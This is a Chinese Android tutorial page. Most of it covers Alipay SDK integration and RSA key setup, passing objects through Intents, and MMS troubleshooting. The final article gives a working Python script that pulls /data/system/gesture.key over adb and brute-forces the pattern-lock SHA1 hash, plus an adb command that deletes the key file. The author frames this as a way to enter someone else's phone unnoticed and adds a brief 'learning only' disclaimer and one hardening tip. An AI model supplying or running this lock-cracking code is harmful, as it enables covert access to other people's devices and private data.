安卓手机app添加支付宝支付开发教程

 更新时间:2016年9月20日 19:57  点击:8158
支付宝支付在国内算是大家了,我们到处都可以使用支付宝了,下文整理介绍的是在安卓app应用中使用支付宝进行支付的开发例子。


之前讲了一篇博客关与支付宝集成获取支付宝公钥与商户私钥的博客。这一片讲的是如何在项目中集成支付宝。首先要运行我们的Demo.就是配置好公钥与私钥的Demo。只要Demo 运行起来了,那么接下来,就是如何移植代码的问题了。

第一步:

将Demo中libs 文件夹下面的支付宝jar 包拷贝到 所需要引入的项目中的libs 文件下,如果没有此文件,可以自己在项目中新建libs 文件,并将sdk的jar包引入其中。

第二步:

配置AndroidManifest.xml文件。此文件大都是配置信息的。集成支付宝,当然也不例外。下面的代码也是从Demo中拷贝过来的,信息如下:

<!-- alipay sdk begin -->
     <activity
         android:name="com.alipay.sdk.app.H5PayActivity"
         android:configChanges="orientation|keyboardHidden|navigation"
         android:exported="false"
         android:screenOrientation="behind"
         android:windowSoftInputMode="adjustResize|stateHidden" >
     </activity>
     <!-- alipay sdk end -->
可以看到的是这是一个Activity.配置文件。就如平常的注册Activity 一样,放在application节点之中即可。下面是权限的配置:


<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

这是必要的权限,如果添加过的,就不需要重新添加了。没有的,则需要添加到里面。
第三步:

拷贝java文件,同样是Demo 文件中,在你需要引入支付宝的项目中新建一个包,来存放必须要的java 文件。分别是下面几个文件: Base64.java,PayResult.java与SignUtils.java 文件,我下载的是alipaySDK-20150610.jar 的jar 包。只需要引入这些文件即可。
第四步:
下面就是主要Activity的代码的引入了。主要代码如下:
 public static final String PARTNER = "注册账户的PID";
// 商户收款账号
public static final String SELLER = "支付宝收款账户";
// 商户私钥,pkcs8格式
public static final String RSA_PRIVATE = "商户私钥";
// 支付宝公钥
public static final String RSA_PUBLIC = "支付宝公钥";
 
private static final int SDK_PAY_FLAG = 1;
 
private static final int SDK_CHECK_FLAG = 2;
 
private Handler mHandler = new Handler() {
    public void handleMessage(Message msg) {
        switch (msg.what) {
        case SDK_PAY_FLAG: {
            PayResult payResult = new PayResult((String) msg.obj);
 
            // 支付宝返回此次支付结果及加签,建议对支付宝签名信息拿签约时支付宝提供的公钥做验签
            String resultInfo = payResult.getResult();
 
            String resultStatus = payResult.getResultStatus();
 
            // 判断resultStatus 为“9000”则代表支付成功,具体状态码代表含义可参考接口文档
            if (TextUtils.equals(resultStatus, "9000")) {
                Toast.makeText(PayDemoActivity.this, "支付成功",
                        Toast.LENGTH_SHORT).show();
            } else {
                // 判断resultStatus 为非“9000”则代表可能支付失败
                // “8000”代表支付结果因为支付渠道原因或者系统原因还在等待支付结果确认,最终交易是否成功以服务端异步通知为准(小概率状态)
                if (TextUtils.equals(resultStatus, "8000")) {
                    Toast.makeText(PayDemoActivity.this, "支付结果确认中",
                            Toast.LENGTH_SHORT).show();
 
                } else {
                    // 其他值就可以判断为支付失败,包括用户主动取消支付,或者系统返回的错误
                    Toast.makeText(PayDemoActivity.this, "支付失败",
                            Toast.LENGTH_SHORT).show();
 
                }
            }
            break;
        }
        case SDK_CHECK_FLAG: {
            Toast.makeText(PayDemoActivity.this, "检查结果为:" + msg.obj,
                    Toast.LENGTH_SHORT).show();
            break;
        }
        default:
            break;
        }
    };
};

这段代码,是一个Handler,放在Java 文件的顶部。

 * call alipay sdk pay. 调用SDK支付
     *
     */
    public void pay() {
        // 订单
        String orderInfo = getOrderInfo("测试的商品", "该测试商品的详细描述", "0.01");
 
        // 对订单做RSA 签名
        String sign = sign(orderInfo);
        try {
            // 仅需对sign 做URL编码
            sign = URLEncoder.encode(sign, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
 
        // 完整的符合支付宝参数规范的订单信息
        final String payInfo = orderInfo + "&sign=\"" + sign + "\"&"
                + getSignType();
 
        Runnable payRunnable = new Runnable() {
 
            @Override
            public void run() {
                // 构造PayTask 对象
                PayTask alipay = new PayTask(PayDemoActivity.this);
                // 调用支付接口,获取支付结果
                String result = alipay.pay(payInfo);
 
                Message msg = new Message();
                msg.what = SDK_PAY_FLAG;
                msg.obj = result;
                mHandler.sendMessage(msg);
            }
        };
 
        // 必须异步调用
        Thread payThread = new Thread(payRunnable);
        payThread.start();
    }
 
    /**
     * check whether the device has authentication alipay account.
     * 查询终端设备是否存在支付宝认证账户
     *
     */
    public void check(View v) {
        Runnable checkRunnable = new Runnable() {
 
            @Override
            public void run() {
                // 构造PayTask 对象
                PayTask payTask = new PayTask(PayDemoActivity.this);
                // 调用查询接口,获取查询结果
                boolean isExist = payTask.checkAccountIfExist();
 
                Message msg = new Message();
                msg.what = SDK_CHECK_FLAG;
                msg.obj = isExist;
                mHandler.sendMessage(msg);
            }
        };
 
        Thread checkThread = new Thread(checkRunnable);
        checkThread.start();
 
    }
 
    /**
     * get the sdk version. 获取SDK版本号
     *
     */
    public void getSDKVersion() {
        PayTask payTask = new PayTask(this);
        String version = payTask.getVersion();
        Toast.makeText(this, version, Toast.LENGTH_SHORT).show();
    }
 
    /**
     * create the order info. 创建订单信息
     *
     */
    public String getOrderInfo(String subject, String body, String price) {
        // 签约合作者身份ID
        String orderInfo = "partner=" + "\"" + PARTNER + "\"";
 
        // 签约卖家支付宝账号
        orderInfo += "&seller_id=" + "\"" + SELLER + "\"";
 
        // 商户网站唯一订单号
        orderInfo += "&out_trade_no=" + "\"" + getOutTradeNo() + "\"";
 
        // 商品名称
        orderInfo += "&subject=" + "\"" + subject + "\"";
 
        // 商品详情
        orderInfo += "&body=" + "\"" + body + "\"";
 
        // 商品金额
        orderInfo += "&total_fee=" + "\"" + price + "\"";
 
        // 服务器异步通知页面路径
        orderInfo += "&notify_url=" + "\"" + "http://notify.msp.hk/notify.htm"
                + "\"";
 
        // 服务接口名称, 固定值
        orderInfo += "&service=\"mobile.securitypay.pay\"";
 
        // 支付类型, 固定值
        orderInfo += "&payment_type=\"1\"";
 
        // 参数编码, 固定值
        orderInfo += "&_input_charset=\"utf-8\"";
 
        // 设置未付款交易的超时时间
        // 默认30分钟,一旦超时,该笔交易就会自动被关闭。
        // 取值范围:1m~15d。
        // m-分钟,h-小时,d-天,1c-当天(无论交易何时创建,都在0点关闭)。
        // 该参数数值不接受小数点,如1.5h,可转换为90m。
        orderInfo += "&it_b_pay=\"30m\"";
 
        // extern_token为经过快登授权获取到的alipay_open_id,带上此参数用户将使用授权的账户进行支付
        // orderInfo += "&extern_token=" + "\"" + extern_token + "\"";
 
        // 支付宝处理完请求后,当前页面跳转到商户指定页面的路径,可空
        orderInfo += "&return_url=\"m.alipay.com\"";
 
        // 调用银行卡支付,需配置此参数,参与签名, 固定值 (需要签约《无线银行卡快捷支付》才能使用)
        // orderInfo += "&paymethod=\"expressGateway\"";
 
        return orderInfo;
    }
 
    /**
     * get the out_trade_no for an order. 生成商户订单号,该值在商户端应保持唯一(可自定义格式规范)
     *
     */
    public String getOutTradeNo() {
        SimpleDateFormat format = new SimpleDateFormat("MMddHHmmss",
                Locale.getDefault());
        Date date = new Date();
        String key = format.format(date);
 
        Random r = new Random();
        key = key + r.nextInt();
        key = key.substring(0, 15);
        return key;
    }
 
    /**
     * sign the order info. 对订单信息进行签名
     *
     * @param content
     *            待签名订单信息
     */
    public String sign(String content) {
        return SignUtils.sign(content, RSA_PRIVATE);
    }
 
    /**
     * get the sign type we use. 获取签名方式
     *
     */
    public String getSignType() {
        return "sign_type=\"RSA\"";
    }
 
}
这一段代码要和上一段代码放在一个Java 文件中,需要注意的一个方法是。 pay() 方法和getOrderInfo(); 需要注意的是,在我们选择支付宝支付的按钮中调用的 是 pay() 方法。而放在pay()方法中则需要调用getOrderInfo(),仔细发现,getOrderInfo()方法里面的三个参数。其中price 参数就是我们要消费的金额,当我们调用pay()方法的时候,就需要传入一个price 的参数,就是我们需要支付的金额。具体的金额怎么传入,计算,要根据项目需要来自己获取了,这样项目集成支付宝就圆满结束了。

下面我们一起来看一篇关于 安卓开发之Intent传递Object与List的例子,希望这个例子能够为各位同学带来帮助。

 

Intent 不仅可以传单个的值,也可以传对象与数据集合。 传递List<String> 数据集合。

ArrayList<String> info = new ArrayList<String>();
     info.add(name);
     info.add(website);
     info.add(weibo);
Intent intent = new Intent(MainActivity.this, ResultActivity.class);
    intent.putStringArrayListExtra("infoList", info);
    startActivity(intent);

接收String 的方法。

ArrayList<String> infoList = new ArrayList<String>();
infoList = getIntent().getStringArrayListExtra("infoList");

传递Object,此Obiect对象需要实现Serializable接口,用Serializable方式传递Object的语法:bundle.putSerializable(key,object);用Serializable方式接收Object的语法:object=(Object) getIntent().getSerializableExtra(key);实现Serializable接口就是把对象序列化,然后再传输,和Java的常用编程没什么明显区别,而且Object不需要明显改变,推荐用这种方式。

下面是Object对象:

public class SerInfo implements Serializable {
 
   private String name;
   private String website;
   private String weibo;
    ............
}

get,set方法自己创建,用Serializable 传递Object:

SerInfo serInfo = new SerInfo(name, website, weibo);
   Intent intent = new Intent();
   Bundle bundle = new Bundle();
   bundle.putSerializable("serinfo", serInfo);
   intent.setClass(MainActivity.this, ResultActivity.class);
   intent.putExtras(bundle);
   startActivity(intent);

用Serializable 接收Object:

SerInfo serInfo = (SerInfo) getIntent().getSerializableExtra(<span class="string">"serinfo"</span>);

这里讲的只是用Serializable这种方式传递数据,当然还有一种方式用Parcelable接口实现。

现在的手机app到处都并且一般的都是可以直接付款了,现在的支付宝付款接口是支持pc,手机及app版本了,在开始中我们会用到支付宝私钥与公钥问题了,下面整理了一篇文章一起来看看。

项目需要,需要在客户端集成支付宝接口。就研究了一下:因为使用支付宝接口,就需要到支付宝官网:注册帐号,并申请。下面讲的是申请好之后的操作。登录成功之后,   店家我的商家服务—在页面的下方找到——>签约管理—>找打 移动支付—–>点击下载集成文档—>跳到新的页面,在页面下方—>找到下载开发包,下载移动支付即可。然后解压出来之后一般会得到三个文件夹。

这个时候要打开文件名为:  支付宝钱包支付接口开发包2.0标准版的文件。打开之后有一个Demo 文件。打开Demo文件。里面会有三个文件夹:第一个 openssl; 第二个 服务端 Demo,第三个 客户端demo. 这个时候,我们需要关心的是  openssl 文件与 客户端Demo 的文件。

在第三个Demo文件中有IOS版与Android 版的Demo.但是你要部署运行的时候,会发现不能运行成功。在项目主文件里面这样一段代码:

//商户PID
 
public static final String PARTNER = "";
 
//商户收款账号
 
public static final String SELLER = "";
 
//商户私钥,pkcs8格式
 
public static final String RSA_PRIVATE = "";
 
//支付宝公钥
 
public static final String RSA_PUBLIC = "";

因为这些,都是需要根据商户注册的信息来填写的。所以就算下下载了Demo,也没有用。下面讲的就是如何获取私钥与支付宝公钥。

还记得刚刚我们加压之后的openssl文件嘛?获取私钥与公钥的方法就在里面:

首先打开openssl文件:以下是文件打开顺序: openssl–>bin –> 双击 openssl.exe文件。这个时候会出现一个命令框:(首先要说明的是这个文件是在Windows系统下打开的)要是苹果系统好像不行.接着继续往下说:

打开命令框后:输入第一行命令 ,生成私钥,如下:

genrsa -out rsa_private_key.pem 1024

按回车键,接着输入第二行命令,生成公钥:

rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem

按回车键,接着输入第三行命令,将RSA私钥转换成PKCS8格式

pkcs8 -topk8 -inform PEM -in rsa_private_key.pem -outform PEM -nocrypt
 

执行完这三行命令后,就生成了两个以:.pem 结尾的文件。这就是我们生成的公钥与私钥.文件位置就在: bin  目录下。当然我们打不开这两个文件。但是我们可以复制一份到桌面,改成Txt文件打开即可。因为我们需要的只是里面的字符串,记住当我们引用这两个长的字符串的时候,需要注意的是:字符串,不能包括,换行,空格,以及其他误加的字符。所以复制的时候一定要小心。

当然私钥就是我们需要的私钥了,如何获得支付宝公钥呢:回到支付宝首先,首先登录,

一:  点击“查看PID|KEY”,在新打开的页面(https://b.alipay.com/order/pidAndKey.htm ),可查看到签约支付宝账号、合作者身份ID(PID.

二:输入支付密码,查询key、支付宝公钥。

三:上传RSA公钥,在“合作伙伴密钥管理”下,点击“RSA加密”后的“添加密钥”,把自己的公钥复制进去。注意不能有空格,换

行之类的。


zhifub


:点击确认上传,若是提示上传成功。则就是成功。


这个时候就可查看支付宝公钥了。如图:


zhifua


至此,将对应的私钥与公钥填到相应位置我们的Demo  就可一运行了。然后集成到项目中即可。就需要自己动手了。遇到问题,百度一下。希望给你带来用处。

LG手机为什么收发彩信不成功?安卓手机无法正常收发彩信的原因有很多,万一出现该问题后,请先按照小编提供的检测方法一一排除,如果还不行的请送至售后维修。

  现象

  安卓手机无法收发彩信

  解决

  1. 手机支持彩信功能,但需要网络运营商支持才可以使用(手机卡需开通彩信业务)。

  2. 如已开通,建议查看手机是否可以上网,建议在菜单【设置】无线和网络移动网络已启用数据勾选开启上网功能尝试。

  3. 如上网正常,可能接受彩信文件过大,建议用手机编辑一条彩信发送到自己的手机上查看是否正常。

  4. 如接受自己发的正常,则手机彩信功能正常;如还是无法接收,建议换其他电话卡尝试。

  5. 仍旧无法正常使用,建议进入菜单【设置】无线和网络(更多)移动网络接入点名称 点触左下角菜单 重置默认网络,然后重启手机。

  6. 仍旧不能实现可以建议设置一下彩信参数(一般不需要设置),建议备份数据恢复出厂设置,在手机点击软件更新升级或进入 LG官网升级尝试。

  7. 排查以上仍不正常,建议送检。

很多用安卓智能手机的朋友是用九宫格锁屏,网上也有暴力删除手机图形锁的方法,不过我们可以用程序来破解。本文只提供技术学习,不能干坏事

安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。本文我们来看看另外一种破解方法。

前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如“豌豆荚手机助手”、“360手机助手”一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。

原理分析

首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3×3的矩阵,形如:

12300 01 02

03 04 05

06 07 08

假如设定解锁图形为一个“L”形,如图:


那么这几个点的排列顺序是这样的:00 03 06 07 08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:


用WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd411427973574695230458f0,如图:


当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是0003060708对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是 15120,6个点的话60480,7个点181440,8个点362880,9个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)。

满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。

破解过程

知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。

主要流程为:

1.ADB连接手机,获取gesture.key文件

2.读取key文件,存入字符串str_A

3.生成全部可能的数字串

4.对这些数字串进行加密,得到字符串str_B

5.将字符串str_A与str_B进行对比

6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序

7.打印出数字串num


下面为程序:
    
# -*- coding: cp936 -*-
import itertools
import hashlib
import time
import os
 
#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
os.system("adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
f.close()
pswd_hex=pswd.encode('hex')
print '加密后的密码为:%s'%pswd_hex
 
#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[]
for i in range(0,9):
    str_temp = '0'+str(i)
    matrix.append(str_temp)
 
#将00——08的字符进行排列,至少取4个数排列,最多全部进行排列
 
min_num=4
max_num=len(matrix)
 
for num in range(min_num,max_num+1):#从04 -> 08
    iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
    list_m=[]
    list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
    for el in list_m[0]:#遍历这n个数字的全部排列
        strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
        strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
        if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
            print '解锁密码为:',strlist

总结

从程序本身来说,得到解锁密码后应该用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句,如果要跳出多重循环,只能设置标志位然后不停进行判定。为了运行速度就略去了“跳出循环”这个步骤。(有没有更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。但本文开篇假设的是“为了不被察觉地进入到别人的手机里”,所以就有了这篇文章。

最后提一个安全小建议:如果手机已root,还要用“XX手机助手”,还想设置图形锁的话——在手机“设置”选项里,有一个“锁定状态下取消USB调试模式”(这个名字因手机而异,而且有的有此选项,有的手机就没有),开启此功能之后,在手机锁定状态下就能够防范此类攻击了。此文技术原理很简单,还望各位大大传授些高大上的Python编程技巧。

[!--infotagslink--]

相关文章

  • 安卓手机app添加支付宝支付开发教程

    支付宝支付在国内算是大家了,我们到处都可以使用支付宝了,下文整理介绍的是在安卓app应用中使用支付宝进行支付的开发例子。 之前讲了一篇博客关与支付宝集成获取...2016-09-20
  • 破解安卓手机上的九宫格锁方法步骤

    很多用安卓智能手机的朋友是用九宫格锁屏,网上也有暴力删除手机图形锁的方法,不过我们可以用程序来破解。本文只提供技术学习,不能干坏事 安卓手机的图形锁(九宫格)...2016-09-20
  • 安卓手机wifi打不开修复教程,安卓手机wifi打不开解决方法

    手机wifi打不开?让小编来告诉你如何解决。还不知道的朋友快来看看。 手机wifi是现在生活中最常用的手机功能,但是遇到手机wifi打不开的情况该怎么办呢?如果手机wifi...2016-12-21
  • PHP扩展开发教程(总结)

    PHP是一种解释型的语言,对于用户而言,我们精心的控制内存意味着easier prototyping和更少的崩溃!当我们深入到内核之后,所有的安全防线都已经被越过,最终还是要依赖于真正有责任心的软件工程师来保证系统的稳定运行。1、线...2015-11-08
  • 基于C#实现微信支付宝扫码支付功能

    为公司系统业务需要,这几天了解了一下微信和支付宝扫码支付的接口,并用c#实现了微信和支付宝扫码支付的功能。需要的朋友跟随小编一起看看吧...2020-06-25
  • JavaScript仿支付宝密码输入框

    那么今天我就用JavaScript代码来实现这个效果吧,那么首先介绍一下整个的思路,首先我们先将确定输入密码的位数,我的需求是5位,那么就用一个div标签包住5个input标签...2016-01-02
  • 安卓手机如何进入Recovery模式

    Recovery模式是安卓系统特有的一个功能,进入Recovery模式可以刷机,也可以恢复出厂设置,同时进入Recovery模式的方法有很多,下面我来介绍利用手机助手快速进入Recovery模式...2016-09-20
  • 安卓手机如何清理缓存

    小编给大家带来一篇关于安卓手机缓存怎么清理的问题解答,有需要的可以参考一下 &#8195;&#8195;安卓手机怎么清理缓存 android清除程序缓存的方法&#8195;&#8195;一,...2017-07-06
  • Ecshop 支付宝手机网页支付免费版

    Ecshop手机网页版本支持在网上找了很多需要花钱购买了,在这里小编整理了一个Ecshop 支付宝手机网页支付免费版供大家参考。 Ecshop 支付宝手机网页支付,针对ecshop...2016-11-25
  • 安卓手机怎么修改改桌面图标的行数和列数

    安卓手机怎么修改改桌面图标的行数和列数要修改之前我们需要有ROOT权限才可以哦,具体操作如下。 横屏:找到此文件 代码如下 复制代码 froyo...2016-09-20
  • js canvas仿支付宝芝麻信用分仪表盘

    这篇文章主要为大家详细介绍了js canvas仿支付宝芝麻信用分仪表盘,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2016-11-22
  • 支付宝小程序实现省市区三级联动

    这篇文章主要为大家详细介绍了支付宝小程序实现省市区三级联动,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-06-21
  • php学习笔记之PHP扩展开发教程

    PHP扩展开发不是所有开发者都会操作的一个东西,下面我来演示一个关于PHP扩展开发实现过程,各位同学有需要可进入参考。 我们先假设需要这样一个扩展,提供一个叫tao_s...2016-11-25
  • OpenCart 开发支付宝,财付通,微信支付参数错误问题

    OpenCart 开发支付宝,财付通,微信支付如果我们不注意可能出现很多的一些问题,主要就是参数错误但一般是看不了来的,这里有一站长分享了一篇不错的文章大家来看看吧。...2016-11-25
  • 安卓手机查看存储过WIFI密码方法

    安卓手机在你上过网时都会自动在手机中保存你上过的wifi网络的密码了,下面我不来告诉大家怎么在手机中查看wifi密码吧,希望此例子对各位有帮助。 1、在手机中我们安...2016-09-20
  • 安卓手机安卓手机骚扰电话怎么拦截

    有的时间我们会碰到一些无了的人没事打骚扰电话了,下面我来给大家介绍安卓手机安卓手机骚扰电话怎么拦截吧,有需要了解的朋友可参考参考。 1、 我们找到打我们骚...2016-09-20
  • jQuery插件开发精品教程让你的jQuery提升一个台阶

    这篇文章主要介绍了jQuery插件开发精品教程让你的jQuery提升一个台阶 的相关资料,需要的朋友可以参考下...2016-01-29
  • C#支付宝新版支付请求接口调用

    这篇文章主要为大家详细介绍了C#支付宝新版支付请求接口调用,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-06-25
  • 安卓手机怎么查看IMEI号?Android手机查询IMEI号的方法

    如何查询自己的手机IMEI号呢?本文将提供安卓手机查看IMEI号的方法供大家了解...2016-07-04
  • 误删安卓手机照片怎么办 如何找回被删的图片

    经常可以看到一些情侣拍一些亲密的照片,如果哪天照片被删除了,有什么方法可以恢复呢?其实很简单的,下面就教大家个不错的方法可以快速的找回删除的图片,有此需求的朋友可以参考下...2020-06-29